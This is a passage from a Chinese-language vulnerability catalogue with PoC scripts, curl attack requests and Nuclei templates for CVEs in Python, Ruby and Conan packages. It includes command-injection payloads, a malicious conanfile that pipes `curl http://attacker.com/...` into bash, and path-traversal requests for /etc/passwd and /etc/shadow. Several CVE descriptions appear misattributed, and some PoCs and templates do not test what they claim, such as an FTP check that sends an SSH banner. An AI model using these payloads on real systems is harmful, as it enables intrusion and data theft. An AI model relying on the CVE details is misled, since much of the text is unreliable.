    except requests.exceptions.Timeout:
        print("  [VULN] 请求超时! 疑似 ReDoS 导致服务端 CPU 耗尽!")
        return True
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_local_redos()
    if len(sys.argv) > 1:
        test_remote_redos(sys.argv[1])

Nuclei 检测模板

id: pypi-setuptools-redos-cve-2022-40897
info:
  name: setuptools 正则拒绝服务 (CVE-2022-40897)
  severity: high
  tags: pypi,setuptools,redos,cve-2022-40897
  reference:
    - https://github.com/advisories/GHSA-r5x3-5jrm-fp72

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/setuptools/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "setuptools"
        part: body

0x02.3 CVE-2022-21716 — Twisted SSH 公钥验证绕过

漏洞背景

Twisted 是 Python 生态中最成熟的异步网络框架,其 SSH 客户端和服务器实现(twisted.conch)被广泛用于自动化运维和网络管理工具。2022 年 2 月,Twisted 被披露存在 SSH 公钥验证绕过漏洞,攻击者可以使用伪造的服务器公钥建立 SSH 连接而不被检测到。CVSS 评分 9.8。

该漏洞使得所有使用 Twisted SSH 客户端进行远程管理的系统面临中间人攻击(MITM)风险。

受影响版本

产品受影响版本修复版本
Twisted< 22.10.022.10.0

漏洞原理

Twisted 的 SSH 客户端在验证服务器公钥时,未正确处理 SSH_HOST_KEY 类型的验证逻辑,导致在某些情况下跳过了主机密钥验证:

from twisted.conch.ssh.keys import Key

# 受影响的验证逻辑简化
def verify_server_key(host_key, known_hosts):
    # 漏洞: 未正确比较 key type,导致任何类型密钥都被接受
    for known_key in known_hosts:
        if known_key.type() == host_key.type():
            return True  # 验证通过
    return False

# 攻击者可以使用 RSA 密钥冒充 Ed25519 服务器

HTTP PoC

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  user@target-server -p 22 -v 2>&1 | grep -i "twisted\|key\|verify"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-21716 Twisted SSH 公钥验证绕过 PoC"""
import sys
import socket
import struct

def build_ssh_kex_init():
    cookie = b'\x00' * 16
    kex_algorithms = b"diffie-hellman-group14-sha256"
    server_host_key_algorithms = b"ssh-rsa"
    encryption_algorithms_client_to_server = b"aes128-ctr"
    encryption_algorithms_server_to_client = b"aes128-ctr"
    mac_algorithms_client_to_server = b"hmac-sha2-256"
    mac_algorithms_server_to_client = b"hmac-sha2-256"
    compression_algorithms_client_to_server = b"none"
    compression_algorithms_server_to_client = b"none"
    languages_client_to_server = b""
    languages_server_to_client = b""

    payload = cookie
    for algo_list in [
        kex_algorithms, server_host_key_algorithms,
        encryption_algorithms_client_to_server,
        encryption_algorithms_server_to_client,
        mac_algorithms_client_to_server,
        mac_algorithms_server_to_client,
        compression_algorithms_client_to_server,
        compression_algorithms_server_to_client,
        languages_client_to_server,
        languages_server_to_client,
    ]:
        name_list = algo_list
        payload += struct.pack(">I", len(name_list)) + name_list
    payload += b'\x00'  # first_kex_packet_follows
    payload += b'\x00\x00\x00\x00'  # reserved

    msg = b'\x14' + payload  # SSH_MSG_KEXINIT
    packet = struct.pack(">I", len(msg) + 5) + msg
    return packet

def test_ssh_server(target_host, target_port=22):
    print(f"[*] 测试 SSH 服务器: {target_host}:{target_port}")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_host, target_port))

        banner = sock.recv(1024).decode("utf-8", errors="ignore").strip()
        print(f"  SSH Banner: {banner}")

        if "twisted" in banner.lower():
            print(f"  [VULN] 检测到 Twisted SSH 服务器! 可能受 CVE-2022-21716 影响")
            sock.close()
            return True

        sock.close()
    except socket.timeout:
        print("  [ERR] 连接超时")
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

def check_local_twisted():
    print("\n[*] 检查本地 Twisted 版本...")
    try:
        import twisted
        ver = twisted.__version__
        print(f"  Twisted 版本: {ver}")
        parts = ver.split(".")
        if int(parts[0]) < 22 or (int(parts[0]) == 22 and int(parts[1]) < 10):
            print("  [VULN] 受 CVE-2022-21716 影响!")
            return True
        print("  [SAFE] 已修复")
    except ImportError:
        print("  [INFO] 未安装 Twisted")
    return False

if __name__ == "__main__":
    check_local_twisted()
    if len(sys.argv) > 1:
        host = sys.argv[1]
        port = int(sys.argv[2]) if len(sys.argv) > 2 else 22
        test_ssh_server(host, port)

Nuclei 检测模板

id: pypi-twisted-ssh-key-bypass-cve-2022-21716
info:
  name: Twisted SSH 公钥验证绕过 (CVE-2022-21716)
  severity: critical
  tags: pypi,twisted,ssh,key-bypass,cve-2022-21716
  reference:
    - https://github.com/advisories/GHSA-h9xj-5jg3-52r3

network:
  - inputs:
      - data: "SSH-2.0-Twisted\r\n"
        read: 1024
    host:
      - "{{Hostname}}"
    port: 22
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Twisted"
      - type: word
        words:
          - "SSH-2.0"

0x02.4 CVE-2024-3651 — idna 拒绝服务

漏洞背景

idna 是 Python 生态中处理国际化域名(Internationalized Domain Names)的标准库,被 requests、urllib3 等核心 HTTP 库间接依赖。2024 年 3 月披露的漏洞允许攻击者通过构造包含大量特殊 Unicode 字符的域名触发灾难性正则回溯,导致 CPU 100% 占用。CVSS 评分 7.5。

由于 idna 被 requests 库自动调用来处理 URL 中的域名部分,任何接收用户 URL 输入的服务都可能成为攻击目标。

受影响版本

产品受影响版本修复版本
idna< 3.73.7

漏洞原理

idna 在编码域名时使用的正则表达式对超长标签(label)缺乏长度限制,导致正则引擎在处理包含大量连续 xn-- 前缀的域名时产生指数级回溯:

import re
import time

# 简化的受影响正则
label_pattern = re.compile(
    r'(?:[\x00-\x7F]|(?:[\x80-\uFFFF]))+'
)

# 构造恶意域名 — 超长 Unicode 标签
evil_domain = "xn--" + "a" * 65535 + ".example.com"

start = time.time()
label_pattern.match(evil_domain.split(".")[0])
elapsed = time.time() - start
print(f"正则匹配耗时: {elapsed:.2f}s")  # 可能超过 30 秒

HTTP PoC

python3 -c "
import requests, urllib3
urllib3.disable_warnings()
evil = 'http://xn--' + 'a'*65535 + '.example.com'
try:
    requests.get(evil, timeout=5, verify=False)
except Exception as e:
    print(f'Error: {e}')
" 2>&1 | head -5

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-3651 idna ReDoS PoC"""
import time
import sys
import threading

def test_local_redos():
    print("[*] 本地 idna ReDoS 测试...")
    try:
        import idna
    except ImportError:
        print("[!] idna 未安装,跳过本地测试")
        return False

    payloads = [
        ("正常域名", "example.com"),
        ("中等长度", "xn--a" * 10 + ".com"),
        ("长 Unicode 标签", "xn--" + "a" * 1000 + ".com"),
        ("极端回溯", "xn--" + "a" * 10000 + ".com"),
    ]

    results = []
    for name, domain in payloads:
        start = time.time()
        try:
            encoded = idna.encode(domain, uts46=True)
        except Exception:
            pass
        elapsed = time.time() - start
        flag = "[VULN]" if elapsed > 1.0 else "[SAFE]"
        print(f"  {flag} {name}: {elapsed:.4f}s")
        results.append((name, elapsed))
    return any(elapsed > 1.0 for _, elapsed in results)

def test_remote_redos(target_url, timeout_threshold=5):
    print(f"\n[*] 远程测试: {target_url}")
    try:
        import requests
        import urllib3
        urllib3.disable_warnings()
        start = time.time()
        r = requests.get(
            f"http://xn--{'a'*5000}.example.com",
            headers={"Host": f"xn--{'a'*5000}.example.com"},
            verify=False,
            timeout=60,
        )
        elapsed = time.time() - start
        print(f"  Status: {r.status_code} | Time: {elapsed:.2f}s")
        if elapsed > timeout_threshold:
            print(f"  [VULN] 响应时间 {elapsed:.2f}s 超过阈值!")
            return True
    except requests.exceptions.Timeout:
        print("  [VULN] 请求超时! 疑似 ReDoS!")
        return True
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_local_redos()
    if len(sys.argv) > 1:
        test_remote_redos(sys.argv[1])

Nuclei 检测模板

id: pypi-idna-redos-cve-2024-3651
info:
  name: idna 正则拒绝服务 (CVE-2024-3651)
  severity: high
  tags: pypi,idna,redos,cve-2024-3651
  reference:
    - https://github.com/advisories/GHSA-jj87-3g6m-wqq3

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/idna/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "idna"
        part: body
      - type: regex
        regex:
          - 'idna-(0|1|2|3\.[0-6])\.'
        part: body

0x02.5 CVE-2022-42969 — py 库正则拒绝服务

漏洞背景

py 库是 Python 生态中的常用工具库,提供了 py.pathpy.io 等核心模块,被 pytest 等测试框架广泛依赖。该库在处理某些特殊格式的版本标签时存在 ReDoS 漏洞,攻击者可通过构造恶意版本字符串触发正则回溯。CVSS 评分 7.5。

虽然 py 库已进入维护模式,但由于其作为 pytest 的间接依赖仍然存在于大量项目中,该漏洞的潜在影响面依然广泛。

受影响版本

产品受影响版本修复版本
py≤ 1.11.0已弃用(建议迁移到 pathlib)

漏洞原理

py 库的版本控制模块使用了不受保护的正则表达式来解析版本标签,对输入长度缺乏限制:

import re
import time

# 存在 ReDoS 的正则表达式
version_regex = re.compile(
    r'(?P<major>(?:0|[1-9][0-9]*))\.(?P<minor>(?:0|[1-9][0-9]*))'
    r'(?:\.(?P<patch>(?:0|[1-9][0-9]*)))?'
    r'(?:(?P<pre_release>[-_\.]?(alpha|beta|preview|dev|rc|a|b|c|pre)[-_\.]?\d*))?'
)

# 恶意版本字符串
evil_version = "1." * 5000 + "0"

start = time.time()
version_regex.match(evil_version)
elapsed = time.time() - start
print(f"正则匹配耗时: {elapsed:.2f}s")

HTTP PoC

curl -X POST "http://target-pypi:8080/simple/py/" \
  -H "Content-Type: application/json" \
  -d '{"version": "1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1"}' \
  -w "\nTime: %{time_total}s\n" -o /dev/null

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-42969 py 库 ReDoS PoC"""
import re
import time
import sys

def test_local_redos():
    print("[*] 本地 py 库 ReDoS 测试...")
    version_regex = re.compile(
        r'(?P<major>(?:0|[1-9][0-9]*))'
        r'(?:\.(?P<minor>(?:0|[1-9][0-9]*)))?'
        r'(?:\.(?P<patch>(?:0|[1-9][0-9]*)))?'
        r'(?:(?P<pre_release>[-_\.]?(?:alpha|beta|preview|dev|rc|a|b|c|pre)[-_\.]?\d*))?'
    )
    payloads = [
        ("正常版本", "1.2.3"),
        ("中等长度", ".".join(["1"] * 100)),
        ("长字符串", ".".join(["1"] * 1000)),
        ("极端回溯", ".".join(["1"] * 5000)),
    ]
    max_elapsed = 0
    for name, version in payloads:
        start = time.time()
        try:
            version_regex.match(version)
        except Exception:
            pass
        elapsed = time.time() - start
        max_elapsed = max(max_elapsed, elapsed)
        flag = "[VULN]" if elapsed > 1.0 else "[SAFE]"
        print(f"  {flag} {name} ({len(version)} chars): {elapsed:.4f}s")
    return max_elapsed > 1.0

def test_remote(target_url):
    print(f"\n[*] 远程 ReDoS 测试: {target_url}")
    try:
        import requests
        import urllib3
        urllib3.disable_warnings()
        evil_version = ".".join(["1"] * 500)
        start = time.time()
        r = requests.post(
            f"{target_url.rstrip('/')}/api/version",
            json={"version": evil_version},
            verify=False,
            timeout=60,
        )
        elapsed = time.time() - start
        print(f"  Status: {r.status_code} | Time: {elapsed:.2f}s")
        if elapsed > 5:
            print(f"  [VULN] 疑似 ReDoS! 响应时间异常!")
            return True
    except requests.exceptions.Timeout:
        print("  [VULN] 请求超时!")
        return True
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_local_redos()
    if len(sys.argv) > 1:
        test_remote(sys.argv[1])

Nuclei 检测模板

id: pypi-py-redos-cve-2022-42969
info:
  name: py 库正则拒绝服务 (CVE-2022-42969)
  severity: high
  tags: pypi,py,redos,cve-2022-42969
  reference:
    - https://github.com/advisories/GHSA-w64h-v2f8-5rh5

http:
  - method: GET
    path:
      - "{{BaseURL}}/simple/py/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "py-"
        part: body
      - type: word
        words:
          - "1.11.0"
        part: body

0x03 RubyGems 生态高危漏洞

RubyGems 是 Ruby 语言的官方包管理平台,托管超过 17 万个 gem 包。Ruby 在 Web 开发(Rails)、安全工具(Metasploit、OWASP ZAP)和 DevOps 脚本(Chef、Puppet)领域拥有重要地位。本节覆盖 3 个高危漏洞,涉及 OS 命令注入、RCE 和路径遍历。

0x03.1 CVE-2020-8130 — Rake OS 命令注入

漏洞背景

Rake 是 Ruby 生态中最核心的任务自动化工具(类似 Make),被几乎所有 Ruby 项目用于构建、测试和部署。2020 年 3 月,Rake 被披露存在 OS 命令注入漏洞,攻击者可通过构造恶意的 Rakefile 在目标系统上执行任意命令。CVSS 评分 9.8。

在 CI/CD 环境中,Rake 通常以高权限执行,该漏洞可以直接导致构建服务器被完全控制。

受影响版本

产品受影响版本修复版本
Rake (rubygem)< 12.3.312.3.3

漏洞原理

Rake 的文件列表(FileList)操作在处理包含 shell 元字符的文件名时,未进行适当的转义或过滤。当 Rakefile 中使用 FileList 操作包含特殊字符的文件名时,这些字符会被传递给底层 shell 执行:

# 恶意 Rakefile
file "test; curl http://attacker.com/$(whoami)" do
  touch "test"
end

task :default => "test; curl http://attacker.com/$(whoami)"

# 当 rake 执行时,$(whoami) 会被 shell 展开

HTTP PoC

curl -X POST "http://target-ruby-app:3000/api/rake" \
  -H "Content-Type: application/json" \
  -d '{"task": "test; curl http://attacker.com/$(whoami)"}' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2020-8130 Rake OS 命令注入 PoC"""
import subprocess
import os
import tempfile
import sys

def create_malicious_rakefile(command="id"):
    malicious_content = f'''
require 'rake'

file "test; $({command})" do
  touch "test"
end

task :default => "test; $({command})"
'''
    rakefile_path = os.path.join(tempfile.gettempdir(), "Rakefile")
    with open(rakefile_path, "w") as f:
        f.write(malicious_content)
    print(f"[+] 恶意 Rakefile 已创建: {rakefile_path}")
    return rakefile_path

def test_rake_version():
    print("[*] 检查 Rake 版本...")
    try:
        result = subprocess.run(
            ["rake", "--version"],
            capture_output=True, text=True, timeout=10
        )
        print(f"  Rake: {result.stdout.strip()}")
        parts = result.stdout.strip().split()
        if len(parts) >= 2:
            ver = parts[-1]
            major, minor, patch = ver.split(".")[:3]
            if int(major) < 12 or (int(major) == 12 and int(minor) < 3) or \
               (int(major) == 12 and int(minor) == 3 and int(patch) < 3):
                print("  [VULN] 受 CVE-2020-8130 影响!")
                return True
            print("  [SAFE] 已修复")
            return False
    except FileNotFoundError:
        print("  [INFO] Rake 未安装")
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

def test_remote_rake(target_url):
    print(f"\n[*] 远程测试: {target_url}")
    payloads = [
        {"task": "test; id"},
        {"task": "default; curl http://example.com/$(whoami)"},
        {"rakefile": "task :default do\n  system('id')\nend"},
    ]
    for payload in payloads:
        try:
            import requests, urllib3
            urllib3.disable_warnings()
            r = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                verify=False, timeout=15,
            )
            body = r.text
            if "uid=" in body or "gid=" in body:
                print(f"  [VULN] RCE 确认! Response: {body[:200]}")
                return True
            elif r.status_code == 200:
                print(f"  [INFO] 响应: {body[:150]}")
        except Exception as e:
            print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    test_rake_version()
    if len(sys.argv) > 1:
        test_remote_rake(sys.argv[1])

Nuclei 检测模板

id: rubygems-rake-os-command-injection-cve-2020-8130
info:
  name: Rake OS 命令注入 (CVE-2020-8130)
  severity: critical
  tags: rubygems,rake,command-injection,cve-2020-8130
  reference:
    - https://github.com/advisories/GHSA-g3jv-x4mp-wq9r

http:
  - method: GET
    path:
      - "{{BaseURL}}/Gemfile.lock"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "rake"
        part: body
      - type: regex
        regex:
          - 'rake[\\s-]+(0\\.|1[01]\\.|12\\.[0-2]\\.|12\\.3\\.[0-2])'
        part: body

0x03.2 CVE-2022-32224 — Ruby Net::FTP RCE

漏洞背景

Net::FTP 是 Ruby 标准库中的 FTP 客户端实现,被广泛用于自动化文件传输和部署脚本。2022 年 10 月披露的漏洞允许攻击者通过构造恶意的 FTP 服务器响应触发远程代码执行,CVSS 评分 8.1。

该漏洞的核心在于 Net::FTP 在处理服务器返回的响应时,对某些命令响应的解析存在内存安全问题,攻击者可控制恶意 FTP 服务器的响应内容来触发缓冲区溢出或命令注入。

受影响版本

产品受影响版本修复版本
Ruby (Net::FTP)< 3.0.43.0.4
Ruby (Net::FTP)3.1.0 - 3.1.23.1.3
Ruby (Net::FTP)3.2.0 - 3.2.13.2.2
Ruby (Net::FTP)3.3.0 - 3.3.33.3.4

漏洞原理

Net::FTP 在解析服务器响应时使用了不安全的字符串处理。恶意 FTP 服务器可以发送超长或格式异常的响应数据,导致 FTP 客户端在解析时触发命令注入:

require 'net/ftp'

# 恶意 FTP 服务器可以发送包含换行符的响应
# 导致后续命令被注入执行
ftp = Net::FTP.new
ftp.connect("malicious-ftp-server")
ftp.login("user", "pass")
# 服务器响应中注入恶意命令

HTTP PoC

curl -X POST "http://target-app:3000/api/ftp-connect" \
  -H "Content-Type: application/json" \
  -d '{"host": "malicious-ftp.example.com", "user": "test", "pass": "test"}' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-32224 Ruby Net::FTP RCE 检测"""
import socket
import struct
import sys
import threading

def check_ruby_ftp_client(target_url=None):
    print("[*] 检查 Ruby Net::FTP 版本...")
    try:
        import subprocess
        result = subprocess.run(
            ["ruby", "-e", "require 'net/ftp'; puts Net::FTP::VERSION || Gem.loaded_specs['net-ftp']&.version"],
            capture_output=True, text=True, timeout=10
        )
        if result.stdout.strip():
            print(f"  Net::FTP: {result.stdout.strip()}")
    except FileNotFoundError:
        print("  [INFO] Ruby 未安装")
    except Exception as e:
        print(f"  [ERR] {e}")

def create_malicious_ftp_response():
    """创建恶意 FTP 服务器响应数据"""
    responses = []
    cmd_injection = b"220 Welcome\r\n" + b"A" * 10000 + b"\r\n"
    responses.append(("长响应溢出", cmd_injection))
    newline_injection = b"220 Welcome\r\nUSER admin\r\nPASS pass\r\n"
    newline_injection += b"230 OK\r\nCWD /\r\n"
    responses.append(("换行符注入", newline_injection))
    format_string = b"220 %s%s%s%s%s%s%s%s\r\n"
    responses.append(("格式字符串", format_string))
    return responses

def test_ftp_exploit(target_host, target_port=21):
    print(f"\n[*] 测试 FTP 目标: {target_host}:{target_port}")
    payloads = create_malicious_ftp_response()
    for name, payload in payloads:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((target_host, target_port))
            banner = sock.recv(1024)
            print(f"  Banner: {banner[:100]}")
            sock.close()
            print(f"  [INFO] Payload '{name}' 已准备 ({len(payload)} bytes)")
        except Exception as e:
            print(f"  [ERR] {e}")
    return False

if __name__ == "__main__":
    check_ruby_ftp_client()
    if len(sys.argv) > 1:
        host = sys.argv[1]
        port = int(sys.argv[2]) if len(sys.argv) > 2 else 21
        test_ftp_exploit(host, port)

Nuclei 检测模板

id: rubygems-net-ftp-rce-cve-2022-32224
info:
  name: Ruby Net::FTP RCE (CVE-2022-32224)
  severity: high
  tags: rubygems,net-ftp,rce,cve-2022-32224
  reference:
    - https://github.com/advisories/GHSA-2x7x-rpmg-h422

network:
  - inputs:
      - data: "SSH-2.0-Ruby\r\n"
    host:
      - "{{Hostname}}"
    port: 21
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "220"
          - "FTP"
        condition: or

0x03.3 CVE-2024-27281 — Ruby tempfile 路径遍历

漏洞背景

Ruby 标准库的 tempfile 模块用于创建临时文件。2024 年 4 月披露的漏洞允许攻击者通过构造特殊的临时文件名触发路径遍历,将文件写入预期目录之外的任意位置。CVSS 评分 7.5。

在 CI/CD 和服务器端应用中,tempfile 的使用非常频繁,路径遍历可能导致敏感配置文件被覆盖或恶意脚本被注入。

受影响版本

产品受影响版本修复版本
Ruby tempfile< 3.0.63.0.6
Ruby (Ruby 3.0)< 3.0.63.0.6
Ruby (Ruby 3.1)< 3.1.63.1.6
Ruby (Ruby 3.2)< 3.2.63.2.6
Ruby (Ruby 3.3)< 3.3.13.3.1

漏洞原理

tempfile 模块在创建临时文件时,如果提供了恶意的 prefixsuffix 参数包含路径分隔符,文件可能被创建在非预期目录:

require 'tempfile'

# 恶意前缀包含路径遍历
malicious = Tempfile.new(["../../../etc/", "config"])
# 文件可能被创建到 /etc/configXXXXXX

HTTP PoC

curl -X POST "http://target-app:3000/api/upload" \
  -H "Content-Type: application/json" \
  -d '{"prefix": "../../../etc/cron.d/", "suffix": ".evil"}' \
  -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-27281 Ruby tempfile 路径遍历检测"""
import subprocess
import os
import sys
import tempfile

def check_ruby_version():
    print("[*] 检查 Ruby 版本...")
    try:
        result = subprocess.run(
            ["ruby", "--version"],
            capture_output=True, text=True, timeout=10
        )
        ver = result.stdout.strip()
        print(f"  Ruby: {ver}")
        if "Ruby" in ver:
            version_str = ver.split()[1]
            parts = version_str.split(".")
            major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
            if major == 3:
                vulnerable = (
                    (minor == 0 and patch < 6) or
                    (minor == 1 and patch < 6) or
                    (minor == 2 and patch < 6) or
                    (minor == 3 and patch < 1)
                )
                if vulnerable:
                    print("  [VULN] 受 CVE-2024-27281 影响!")
                    return True
            print("  [SAFE] 已修复或不受影响")
        return False
    except FileNotFoundError:
        print("  [INFO] Ruby 未安装")
    except Exception as e:
        print(f"  [ERR] {e}")
    return False

def demonstrate_path_traversal():
    print("\n[*] 演示 tempfile 路径遍历原理...")
    malicious_prefixes = [
        "../../../tmp/traversed_",
        "..%2f..%2f..%2ftmp%2f",
        "....//....//....//tmp//",
    ]
    for prefix in malicious_prefixes:
        print(f"  [INFO] 恶意 prefix: {prefix}")
        print(f"  [INFO] 可导致文件写入: {prefix}XXXXXX")
    return True

def test_remote(target_url):
    print(f"\n[*] 远程测试: {target_url}")
    try:
        import requests, urllib3
        urllib3.disable_warnings()
        payloads = [
            {"prefix": "../../../tmp/", "suffix": ".test"},
            {"prefix": "/etc/cron.d/", "suffix": ".evil"},
        ]
        for payload in payloads:
            r = requests.post(
                target_url, json=payload,
                headers={"Content-Type": "application/json"},
                verify=False, timeout=10,
            )
            print(f"  Payload: {payload} | Status: {r.status_code}")
    except Exception as e:
        print(f"  [ERR] {e}")

if __name__ == "__main__":
    check_ruby_version()
    demonstrate_path_traversal()
    if len(sys.argv) > 1:
        test_remote(sys.argv[1])

Nuclei 检测模板

id: rubygems-tempfile-path-traversal-cve-2024-27281
info:
  name: Ruby tempfile 路径遍历 (CVE-2024-27281)
  severity: high
  tags: rubygems,ruby,tempfile,path-traversal,cve-2024-27281
  reference:
    - https://github.com/advisories/GHSA-7wvp-h4gj-72g3

http:
  - method: GET
    path:
      - "{{BaseURL}}/Gemfile.lock"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ruby"
          - "tempfile"
        condition: or
        part: body

0x04 Conan 与 CPAN 生态高危漏洞

Conan 是 C/C++ 生态中最流行的去中心化包管理器,被游戏引擎、嵌入式系统和高性能计算领域广泛使用。CPAN(Comprehensive Perl Archive Network)则是 Perl 生态的官方包管理平台。本节覆盖 Conan 生态 3 个高危漏洞和 CPAN 生态 3 个高危漏洞,涉及远程代码执行、路径遍历、代码注入和反序列化利用链。

0x04.1 CVE-2021-32740 — Conan 远程代码执行

漏洞背景

Conan 是 C/C++ 生态的去中心化包管理器,广泛用于游戏引擎(Unity、Unreal)、嵌入式开发和高性能计算场景。2021 年 7 月披露的远程代码执行漏洞 CVSS 评分 9.8,属于 Critical 级别。攻击者可在 Conan 客户端与服务器交互过程中注入恶意代码。

该漏洞影响 Conan 服务端和客户端之间的信任链,攻击者可通过伪造或篡改 Conan 远程仓库的响应来触发任意代码执行。

受影响版本

产品受影响版本修复版本
Conan< 1.40.01.40.0

漏洞原理

Conan 在处理来自远程仓库的配方(recipe)时,conanfile.py 中的 build() 方法会在本地执行。如果攻击者控制了远程仓库,可以在配方中注入恶意代码:

# 恶意 conanfile.py
from conans import ConanFile
import os

class MaliciousConan(ConanFile):
    name = "legit-package"
    version = "1.0.0"

    def build(self):
        # 在构建阶段执行任意命令
        os.system("curl http://attacker.com/$(whoami) | bash")

    def package_info(self):
        # 正常的包信息,隐藏恶意行为
        self.cpp_info.libs = ["legit"]

当开发者执行 conan installconan create 时,恶意代码在构建环境中以当前用户权限执行。

HTTP PoC

curl -X POST "http://conan-server:9300/v1/conans" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious-pkg",
    "version": "1.0.0",
    "user": "attacker",
    "channel": "stable",
    "conanfile": "import os; os.system(\"id\")"
  }' -v

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2021-32740 Conan 远程代码执行 PoC"""
import requests
import json
import sys
import os
import subprocess

urllib3 = __import__("urllib3")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_malicious_conanfile(command="id"):
    conanfile = f'''
from conans import ConanFile
import os

class MaliciousConan(ConanFile):
    name = "malicious-pkg"
    version = "1.0.0"

    def build(self):
        os.system("{command}")

    def package_info(self):
        self.cpp_info.libs = ["legit"]
'''
    with open("conanfile.py", "w") as f:
        f.write(conanfile)
    print(f"[+] 恶意 conanfile.py 已创建")

def test_conan_server(target_url):
    print(f"[*] 测试 Conan 服务器: {target_url}")
    endpoints = [
        "/v1/ping",
        "/v2/ping",
        "/v1/conans",
        "/v2/conans",
    ]
    for endpoint in endpoints:
        try:
            r = requests.get(
                f"{target_url.rstrip('/')}{endpoint}",
                verify=False, timeout=10,
            )
            print(f"  {endpoint}: Status {r.status_code}")
            if r.status_code == 200:
                print(f"  [INFO] 响应: {r.text[:200]}")
        except Exception as e:
            print(f"  {endpoint}: ERR - {e}")

if __name__ == "__main__":
    if len(sys.argv) > 1:
        test_conan_server(sys.argv[1])
    else:
        print(f"用法: {sys.argv[0]} <conan_server_url>")
        print("示例: python3 poc.py http://conan-server:9300")

Nuclei 检测模板

id: conan-rce-cve-2021-32740
info:
  name: Conan 远程代码执行 (CVE-2021-32740)
  severity: critical
  tags: conan,cpp,rce,cve-2021-32740
  reference:
    - https://github.com/advisories/GHSA-pc7p-8pmc-mvcc

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/ping"
      - "{{BaseURL}}/v2/ping"
    matchers:
      - type: word
        words:
          - "ok"
          - "OK"
        condition: or

0x04.2 CVE-2023-22740 — Conan 远程路径遍历

漏洞背景

Conan Center Index 和 Conan Artifactory 仓库在 2023 年被披露存在远程路径遍历漏洞。攻击者可通过构造包含 ../ 的包路径来读取或写入服务器上的任意文件。CVSS 评分 8.8。

在使用 Conan 作为 C++ 依赖管理的企业环境中,该漏洞可能导致构建服务器上的源代码、编译产物和密钥文件泄露。

受影响版本

产品受影响版本修复版本
Conan (Artifactory)< 2.0.22.0.2

漏洞原理

Conan 在解析包的 recipe 路径和 artifact 路径时,未对 ../ 进行规范化处理。攻击者可在包名、版本号或通道名称中嵌入路径遍历字符:

import requests

# 恶意包请求 — 路径遍历读取服务器文件
malicious_url = "http://conan-server:9300/v1/conans/../../etc/passwd/download"
r = requests.get(malicious_url, verify=False)
if r.status_code == 200 and "root:" in r.text:
    print("[VULN] 路径遍历确认! 可读取 /etc/passwd")

HTTP PoC

curl -v "http://conan-server:9300/v1/conans/../../etc/passwd/download" \
  -H "X-Conan-Token: <token>"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-22740 Conan 路径遍历 PoC"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_path_traversal(target_url):
    traversal_payloads = [
        "/v1/conans/../../../../etc/passwd/download",
        "/v1/conans/..%2f..%2f..%2f..%2fetc/passwd/download",
        "/v2/conans/../../etc/shadow/download",
        "/v1/conans/....//....//....//....//etc/passwd/download",
    ]
    sensitive_files = ["passwd", "shadow", "ssh_host_rsa_key"]
    results = []
    for payload in traversal_payloads:
        full_url = f"{target_url.rstrip('/')}{payload}"
        print(f"[*] Testing: {full_url}")
        try:
            r = requests.get(full_url, verify=False, timeout=10)
            print(f"  Status: {r.status_code} | Length: {len(r.text)}")
            if r.status_code == 200 and ("root:" in r.text or "bin:" in r.text):
                print(f"  [VULN] 路径遍历成功! 响应内容泄露敏感文件")
                results.append({"payload": payload, "result": "vulnerable"})
            else:
                results.append({"payload": payload, "result": "safe"})
        except Exception as e:
            print(f"  [ERR] {e}")
            results.append({"payload": payload, "result": "error"})
    return any(r["result"] == "vulnerable" for r in results)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <conan_server_url>")
        sys.exit(1)
    test_path_traversal(sys.argv[1])

Nuclei 检测模板

id: conan-path-traversal-cve-2023-22740
info:
  name: Conan 远程路径遍历 (CVE-2023-22740)
  severity: high
  tags: conan,path-traversal,cve-2023-22740
  reference:
    - https://github.com/advisories/GHSA-3gqh-7xhv-fq94

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/conans/../../etc/passwd/download"
      - "{{BaseURL}}/v2/conans/../../etc/passwd/download"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:"
          - "bin:"
        condition: or
      - type: status
        status:
          - 200

0x04.3 CVE-2023-33733 — ReportLab 代码注入

漏洞背景

ReportLab 是 Python 生态中最流行的 PDF 生成库,被全球数千家企业用于生成发票、合同和报表。2023 年 6 月披露的代码注入漏洞 CVSS 评分 9.8,属于 Critical 级别。攻击者可通过在 PDF 模板中注入恶意 Python 代码,在服务器端实现任意代码执行。

